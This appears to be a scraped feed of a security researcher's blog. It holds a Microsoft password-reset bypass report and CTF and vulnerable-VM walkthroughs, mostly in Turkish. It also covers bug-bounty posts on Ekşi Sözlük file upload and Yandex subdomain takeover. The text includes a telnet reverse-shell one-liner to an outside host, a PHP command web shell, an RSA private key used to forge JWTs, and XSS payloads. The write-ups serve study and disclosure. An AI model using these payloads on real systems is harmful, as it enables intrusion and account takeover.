POST /passwordreset/SendEmail.ajax HTTP/1.1 Host: account.activedirectory.windowsazure.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 X-Requested-With: XMLHttpRequest AjaxSessionKey: null __RequestVerificationToken: xkbu4lBzTLi4syPavllsrfnvFxXgEWQIGC1sadasdaxxHuzbcu01 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Referer: https://account.activedirectory.windowsazure.com/passwordreset/register.aspx?client-request-id=x&sspr=1 Content-Length: 455 Cookie: flt=0; BOX.SessionCacheKey.SessID=cac246d0-xxxx-4bb5-879c-9xxxxe5ba1; BOX.SessionCacheKey.sspr-reg-ru=https://login.microsoftonline.com/common/SAS/ProcessAuth?request=rxxxxG5dO028RI59EjuJL3VO43C; BOX.CacheKey.CachedCSSFiles=1.0.0.1960:0xxxxxxFEDxx40xDB475A4C0x9B3Fxxxx2487 DNT: 1 Connection: close p0=%7B%22UserCompanyName%22%3A%22Lostar%22%2C%22MobileCountryCode%22%3A%2290%22%2C%22MobileCountryCodeIndex%22%3A213%2C%22MobilePhoneNumber%22%3A%22x%22%2C%22AltEmail%22%3A%22berk.imran7%40gmail.com%22%2C%22RegistrationAttribute%22%3A%22AlternateEmailAttribute%22%2C%22MobilePhoneValidationOptionKey%22%3A%22%22%7D&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
When I examine the outgoing post request and when I perform url decode;
p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
All you need to do is change the phone number or mail address with Proxy. Namely;
p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
Step4:
Got e-mail.
Step5:
Boom!
October 10: Report Submitted
October 16: Report reviewed
October 18 – 21: Discussion
November 17: Report closed as resolved
Final: Award and hall of fame.
Thanks
Best Regards
Berk İmran
EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN
]]>Makinamızın ip adresini gösteren script ekledikleri için direk nmap ile agresif taramamızı gerçekleştiriyorum. Taramamı nmap 192.168.131.2 -A komutuyla gerçekleştiriyorum. Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-29 18:26 +03 Nmap scan report for 192.168.131.2 Host is up (0.0017s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 […]
]]>Makinamızın ip adresini gösteren script ekledikleri için direk nmap ile agresif taramamızı gerçekleştiriyorum.
Taramamı nmap 192.168.131.2 -A komutuyla gerçekleştiriyorum.
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-29 18:26 +03 Nmap scan report for 192.168.131.2 Host is up (0.0017s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA) | 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA) |_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (EdDSA) 80/tcp open http WSGIServer 0.1 (Python 2.7.12) |_http-server-header: WSGIServer/0.1 Python/2.7.12 |_http-title: Bulldog Industries 8080/tcp open http WSGIServer 0.1 (Python 2.7.12) |_http-server-header: WSGIServer/0.1 Python/2.7.12 |_http-title: Bulldog Industries MAC Address: D4:61:9D:23:E0:B6 (Apple) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.68 ms 192.168.131.2 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds
80 ve 8080 portlarında çalışan http servislerini inceliyorum. Dizinleri incelemek için dirb http://192.168.131.2 komutunu kullanıyorum.
---- Scanning URL: http://192.168.131.2/ ---- ==> DIRECTORY: http://192.168.131.2/admin/ ==> DIRECTORY: http://192.168.131.2/dev/ + http://192.168.131.2/robots.txt (CODE:200|SIZE:1071) ---- Entering directory: http://192.168.131.2/admin/ ---- ==> DIRECTORY: http://192.168.131.2/admin/auth/ ==> DIRECTORY: http://192.168.131.2/admin/login/ ==> DIRECTORY: http://192.168.131.2/admin/logout/ ---- Entering directory: http://192.168.131.2/dev/ ---- ==> DIRECTORY: http://192.168.131.2/dev/shell/ ---- Entering directory: http://192.168.131.2/admin/auth/ ---- ==> DIRECTORY: http://192.168.131.2/admin/auth/group/ ==> DIRECTORY: http://192.168.131.2/admin/auth/user/ ---- Entering directory: http://192.168.131.2/admin/login/ ---- ---- Entering directory: http://192.168.131.2/admin/logout/ ---- ---- Entering directory: http://192.168.131.2/dev/shell/ ---- ---- Entering directory: http://192.168.131.2/admin/auth/group/ ---- (!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}. (Try using FineTunning: '-f') ---- Entering directory: http://192.168.131.2/admin/auth/user/ ---- (!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}. (Try using FineTunning: '-f') -----------------
Dizinleri incelediğimde view-source:http://192.168.131.2/dev/ adresinde açıklama satırı olarak yetkili kişilerin hash bilgilerinin olduğunu farkettim.
<!--Need these password hashes for testing. Django's default is too complex--> <!--We'll remove these in prod. It's not like a hacker can do anything with a hash--> Team Lead: [email protected]<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb--> Back-up Team Lead: [email protected]<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb--> Front End: [email protected]<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279--> Front End: [email protected]<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9--> Back End: [email protected]<br><!--553d917a396414ab99785694afd51df3a8a8a3e0--> Back End: [email protected]<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5--> Database: [email protected]<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e--
Ayrıca http://192.168.131.2/dev/shell/ adresinde doğrulama yaptıktan sonra gelecek bir sayfa vardı.
Kırılmış hash değerleri aşağıdaki gibi oldu.
6515229daf8dbdc8b89fed2e60f107433da5f2cb [Not found] 38882f3b81f8f2bc47d9f3119155b05f954892fb [Not found] c6f7e34d5d08ba4a40dd5627508ccb55b425e279 [Not found] 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 [Not found] 553d917a396414ab99785694afd51df3a8a8a3e0 [Not found] ddf45997a7e18a25ad5f5cf222da64814dd060d5 SHA1 : bulldog d8b8dd5e7f000b8dea26ef8428caf38c04466b3e SHA1 : bulldoglover
Yine dizin taramasından bulduğumuz admin paneline http://192.168.131.2/admin adresinden erişiyorum. nick:bulldog bilgileriyle giriş yapıyorum.
Siteye giriş yaptıktan sonra web shell’i kullanabiliriz.Sıradan bir kod girdiğimde çalıştırdı.
İzin verilen kodlar aşağıdaki şekilde.
ifconfig ls echo pwd cat rm
Bu kodlar haricinde kod çalıştırmayı denediğimde aldığım hata bu şekilde.
ls -la && pwd şeklinde bypass’ladım.
Önemli olan burda; kod çalıştırabileceğimiz bir noktada, makina ile bağlantı kurabilmek. Yani reverse shell almak.
pwd && mknod berk p && telnet 192.168.131.8 4445 0<berk | /bin/bash 1>berk komutuyla bağlantımı aldım.
İlk yaptığım her zaman etkileşimli shell’e geçmektir. python -c ‘import pty; pty.spawn(“/bin/bash”)’ kodu ile geçiş yapıyorum.
Dizinleri gezerken bulldogadmin kullanıcısında .hiddenadmindirectory dizini dikkatimi çekti, dizini listeledim.
Not dosyasından çıkan bu şekilde;
Nick, I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not! It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes? Let me know what you think of it! -Ashley
Haliyle file customPermissionApp komutuyla dosyamı inceledim ve strings komutuyla inceledim.
Çeşitli denemelerden sonra parolanın “SUPERultimatePASSWORDyouCANTget” olduğunu bulup root kullanıcına geçiyorum.
Root dizininde congrats.txt dosyasını ihmal etmeyelim
Congratulations on completing this VM :D That wasn't so bad was it? Let me know what you thought on twitter, I'm @frichette_n As far as I know there are two ways to get root. Can you find the other one? Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
]]>
Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum. […]
]]>Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum.
Genel itibariyle site bu şekilde idi. İlk yaptığım “‘” (tırnak işareti) kullanarak giriş yapmaktı. Daha önceden bu şekilde birisi kaydolduğu için onun hesabıyla giriş yapmışım. O yorgunlukla sqli var diye sqlmap -u http://47.74.147.52:20012/ –data=”username=a&password=b” -p username –dbs –random-agent komutunu denedim ama tabii ki yok. Giriş yapınca template injection’dan xss’e kadar her yolu denedim, nafile. Olmazsa olmazımız Burp Suite ile istekleri inceledim.
Auth kısmı dikkatimi çekti ve tarayıcıda çalışan js’leri debug ederken JSON Web Token olabileceğini düşündüm.
{if(null!==this.token)return{headers:{Authorization:"Bearer "+this.token}}}}]),l(t,[{key:"configure",value:function(t){this.api=s.a.create({baseURL:t})}}
Json Web Token 3 parça halinde, (header, payload, imza) base64 encode şeklinde saklandığı için ilk işim base64 decode oldu.
Public Key
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB -----END PUBLIC KEY-----
Private Key
MIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw==
Tabii ki ilk yaptığım kullanıcıyı admin olarak değiştirmekti.
Son hali;
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJhZG1pbiJ9.fX8bB0nZW5FT_0bmg5pu0KReR6EYYsuZnDPWIWtxifyCqd8QAupT_xArcEPpnJjlVsOzvBNw6E1rOjVK19gLEiPX8IEmw-jClvpgt3RcxBUJiE5p9JqezDcBnTMIJEA0VMc3ZEZD3PmbV9N2i1aQS0KVpn8fbgFxNqSlU_9IfyI
Giriş yaptım ama sol menüde gizli mesajı beklerken hayal kırıklığı oldu. Şimdi olay gizli mesajı bulmakta. Yine giden istekleri kontrol ederken aşağıdaki istek dikkatimi çekti.
POST /api/paste HTTP/1.1 Host: 47.74.147.52:20012 User-Agent: "><script>alert(1)<(script> (XSS PAYLOAD KALMIŞ :) ) Accept: application/json, text/plain, */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://47.74.147.52:20012/ Content-Type: application/json;charset=utf-8 Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJqdXJhIn0.uPlGrDAjv8B38WLSPo8ck6v2K-wR0L0m0LCDhUqN_MJGi6pXMpwek9lMZ-Z8UIHlTHA2qFGbLShstmeIlLoqHdCX_bSFV3I8JdhhiRrhwX1qmGbvt9EqD3mSwx9-Ut-QtkJXcAjSWZdGVEe75hodRIF-O2-VVci-6SFfwMoyn1lpsXXPHYFO1ekkRg3UJO4RjN_4oDg9C2fiyBxl3dwz84_owqUZnp5x8_im0ArpNo1MgDCiLNGLb18qD4EJ72PnXvUmt7brokQVOwxjC4mc_xKhbsLBj61bjkrZZPTR1Op0aBSEhj8Hm06l8mkiQ9kQRje82oe85dSwX-EKy274dQ Content-Length: 316 DNT: 1 Connection: close
Yazdığınız notu kaydederken ve görüntülerken giden istek bu. Gizli mesajı görüntüleyeceksek ve auth bilgisi de bu istekteyse tam aradığımız nokta burası. İsteği repeater’a gönderiyorum.
Deneme yanılmalarla token header bilgisini aşağıdaki şekilde yaptığımda gizli mesaj gelmiş oldu.
{ "kid": "api/paste/{not-adresiniz}&", "typ": "JWT", "alg": "RS256" }
Bu saatten sonra benim aklım hinliğe cinliğe çalıştığı için aşağıdaki gibi bir istek gönderdim.
POST /api/paste HTTP/1.1 Host: 47.74.147.52:20012 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: application/json, text/plain, */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://47.74.147.52:20012/ Content-Type: application/json;charset=utf-8 Authorization: Bearer eyJraWQiOiJhcGkvcGFzdGUvMzA4NzYxZTctNDE0Ny00ODY4LWI5N2QtMzA5ZDBjOTQ3ODVjP3JhdyYiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.xRscec3NjrrmA8KuvDNo30utU0d5sNxcdtNJmbQOvB4y_Ui9er0rPdiZzpfaldZvWoFiOa3HTslR4RUDYjr_MJdix9WGeClwb8F_zbE_VSwOT3vMAllN7AzhjhfSU_mPJrcHAN9XkM_90I-DTns4M1k_doDPdXRaMRV55c2KhEM Content-Length: 113 DNT: 1 Connection: close {"title":"Pasty McPasteface","id":"27bd4411-6433-4503-a76b-1ba5c28764ac","content":"nahsanaflag","private":false}
Normalde gizli olan belgeyi görünür hale getirdim.
Böyle bir ctf ekibi bunu nasıl düşünmemiş ona da hayret. Benden sonra flag arayanlar kusura bakmasın
Twit üstünde pentester olan arkadaşları bu soruda görmek isterdim.
Klasik bir panele kayıt olup giriş yapınca bu şekilde bir ekran karşıladı. Personel web sitesine bağlantı sağlıyordu. Haliyle ilk akla gelen SSRF.
Önce 80 portuna istek yaptırdım ama DigitalOcean botları sağolsun bıktırdılar, 91 portuna çektim istekleri. Yanlışıkla tcpdump port 80 yerine tcpdump yazınca lanet olsun o ssh’a saldıran botlara
91 portuna normal bir istek yaptırdım ve get flag dedim, admin değilsin demekle kalmadı az önce benim yaptığım gibi “nahsanaflag” dedi
Gelen istek;
Paket içeriğine bakmadım, belki detay bulundurabilirdi.
Şimdi yapılan istekleri inceleyelim.
POST /loged.php HTTP/1.1 Host: 47.88.218.105:20010 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://47.88.218.105:20010/loged.php Content-Type: application/x-www-form-urlencoded Content-Length: 82 Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 website=ttp%3A%2F%2F104.131.78.152%3A91&csrftoken=110018b7fcd9f4a5324b2a7833cfc590
GET /action.php?callback=getInfo HTTP/1.1 Host: 47.88.218.105:20010 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://47.88.218.105:20010/loged.php Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D DNT: 1 Connection: close
GET /getflag.php?csrftoken=77cadb0a165dee9f1023ba056c63ccd5 HTTP/1.1 Host: 47.88.218.105:20010 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://47.88.218.105:20010/loged.php X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D DNT: 1 Connection: close
Tahmin de ettiğiniz üzere flag bilgisini çekerken token üzerinden doğrulama yapmakta.
Şimdi akılda bir soru var o doğru token nasıl elde edilecek?
Cevap action.php’de. Buradaki zafiyetli makinanın çözümünde kullandığıma benzer bir yöntem kullandım. SSRF mantığı aslında budur. Siz istek yaptırırsınız ve doğrulama bilgisini alırsınız. Bu bir csrf token olabilir, 2fa yöntemlerinde kullanılan bilgiler olabilir, listeyi uzatmak elbet tabii mümkün.
Saatler sonunda http://47.88.218.105:20010/getflag.php?csrftoken= isteğini yapacak kodu halledince base64 olarak aldım.
Kaynak koda bakalım.
<script> var authors = []; var blogs = {}; query = function(q, callback) { var req = new XMLHttpRequest(); req.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { callback.apply(req); } }; req.open("POST", "/api", true); req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); req.send('query=' + q); }; get_all_authors = function() { var q = "{ allAuthors{ edges { node { id name }}} }"; query(q, function(){ var response = JSON.parse(this.responseText); authors = []; var nodes = response["data"]["allAuthors"]["edges"]; for (i=0; i < nodes.length; i++) { authors.push(nodes[i]["node"]); } rebuild_authors(); }); }; rebuild_authors = function() { var html = "<ul>\n"; for (i=0; i < authors.length; i++) { html += ( "<li><a onclick='get_author_blogs(\"" + authors[i]["id"] + "\")'>" + authors[i]["name"] + "</a></li>\n" ); } html += "<li><a onclick='get_all_blogs()'>All authors</a></li>\n"; html += "</ul"; document.getElementById("authorlist").innerHTML = html; }; get_all_blogs = function() { var q = "{ allItems{ edges { node { id title }}} }"; query(q, function(){ var response = JSON.parse(this.responseText); blogs = []; var nodes = response["data"]["allItems"]["edges"]; for (i=0; i < nodes.length; i++) { blogs.push( nodes[i]["node"]); } rebuild_blogs(); }); }; get_author_blogs = function(author) { var q = '{ itemsForAuthor(id:"' + author + '") { id title } }'; query(q, function(){ var response = JSON.parse(this.responseText); blogs = response["data"]["itemsForAuthor"]; rebuild_blogs(); }); }; rebuild_blogs = function() { var html = "<ul>\n"; for (i=0; i < blogs.length; i++) { html += ( "<li><a onclick='load_blog(\"" + blogs[i]["id"] + "\")'>" + blogs[i]["title"] + "</a></li>\n" ); } html += "</ul"; document.getElementById("bloglist").innerHTML = html; }; load_blog = function(blog) { var q = '{ item(id:"' + blog + '") { title content} }'; query(q, function(){ var response = JSON.parse(this.responseText); blog = response["data"]["item"]; document.getElementById("blog_title").innerText = blog["title"]; document.getElementById("blog_content").innerHTML = blog["content"]; height = document.getElementById("blog_content").clientHeight console.log("height " + height) document.getElementById('container').style.height = (height + 200) + "px" }); }; </script>
Bu kodları inceleyene kadar GraphQL hakkında en ufak bilgim yoktu. http://47.74.147.34:20011/api?query={ item(id:”‘ + blog + ‘”) { title content} } ile örnek bir sorgu yaptım. Araştırmaya başlayınca NoSQL injection olabileceğini farkettim. Ama GraphQL için nasıl uyarlanır hala bilmiyorum (geliştirici olmadan bu işlerin olmayacağına örnek). Mantığın oturması adına güzel yazılar var.
Çözemediğim ama yakında çözeceğim soru
]]>
Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz. Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma… 1) Subdomain Takeover Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir […]
]]>Amaç bu sefer hall of fame listesine girmek yerine ödül avcılığı olduğu için Yandex Key servislerini inceledim. Buradan detaylı inceyebilirsiniz.
Yaklaşık 12 tane (320*12 yapanlara) zafiyet raporladım, muhtemelen bu ay hall of fame listesine de eklerler. Gelelim teknik kısma…
Tüm subdomainlere tek tek sorgu yaptırmam mümkün olmadığı için Hackerone aracılığıyla tanıştığımız bir arkadaşın kodladığı yazılımı kullanıyorum. Bulgusu şu şekilde;
Potential domain takeover detected!
Host………..: cdn-cloud.zen.yandex.com
Service……..: Cloudfront
Service website: https://aws.amazon.com/cloudfront/
Resource…….:
7 Ağustos – İlk Raporlamalar
9 Ağustos – Geri dönüş( özellikle subdomain takeover için detaylı anlatım istediler)
9 Ağustos – Güncellemeler (gönderdiğim diğer zafiyetler hala incelemede)
]]>Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı. Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti. POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: […]
]]>Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.
Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.
POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x
Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:33:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 57 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":true,"Message":"image uploaded successfully."}
Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:37:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":false,"Message":"please upload image of type .jpg"}
Giden isteği tekrar manipüle ediyorum.
POST /v1/user/forme/upload/avatar HTTP/1.1 Accept: application/json Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd Content-Type: multipart/form-data; boundary="----MyGreatBoundary" Content-Length: 25130 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 ------MyGreatBoundary Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php
Ve yükleme başarılı.
Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.
Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.
Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.
Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı
Tüm sözlüğe selam olsun
]]>Makinamızın ip adresini tespit etmek için nmap 192.168.1.0/24 veya arp-scan 192.168.1.0/24 komutlarını kullanabiliriz. Ip adresimi öğrendikten sonra agresif tarama yapıyorum. 80 ve 22 portuna o kadar alıştım ki senaryo az çok kafamda canlandı. 80 portunda çalışan servisten ssh bağlantı bilgilerini alabiliriz diye düşünüyorum, bakalım… Senaryo malware analizi yapan bir site üzerine kurulmuş. Dosya yükleme yeri […]
]]>Makinamızın ip adresini tespit etmek için nmap 192.168.1.0/24 veya arp-scan 192.168.1.0/24 komutlarını kullanabiliriz.
Ip adresimi öğrendikten sonra agresif tarama yapıyorum.
80 ve 22 portuna o kadar alıştım ki senaryo az çok kafamda canlandı. 80 portunda çalışan servisten ssh bağlantı bilgilerini alabiliriz diye düşünüyorum, bakalım…
Senaryo malware analizi yapan bir site üzerine kurulmuş. Dosya yükleme yeri gördüğümde her zaman önce web shell yüklemeyi denerim.
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>
Klasik bir web shell kodudur. http://192.168.1.20/shell.php?cmd=whoami şeklinde kullanılır. Shelli yüklemeye çalıştığımda aşağıdaki gibi invalid mimetype hatası aldım.
Desteklediği formatları “application/x-executable, application/x-sharedlib” olarak belirtmiş. İsteği değiştirerek tekrar gönderiyorum.
POST /submit HTTP/1.1
Host: 192.168.1.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------15114079911693627682090237232
Content-Length: 388
Referer: http://192.168.1.20/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------15114079911693627682090237232
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-executable
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
-----------------------------15114079911693627682090237232--
application/x-executable yapıp tekrar gönderdiğimde yine başarısız oldum. Kabul ettiği formatta bir dosya yüklemeyi deneyelim.
Burda dikkatimi çeken dosya adlarının base64 ile encode olması. attığımız dosyaların /home/malwareadm/samples klasörüne kaydolması. Stringsleri göstermesi yazdığım kodu da çalıştırabileceğini düşündürdü.
Çok basit şekilde bir xss payload yazdım <img src=a onerror=alert(‘XSS’)> . Şimdi burda en çok merak edilen sorulardan birine yanıt bulmayı isterim, “xss ile alert vermekten öteye geçemez miyiz?” geçeriz.
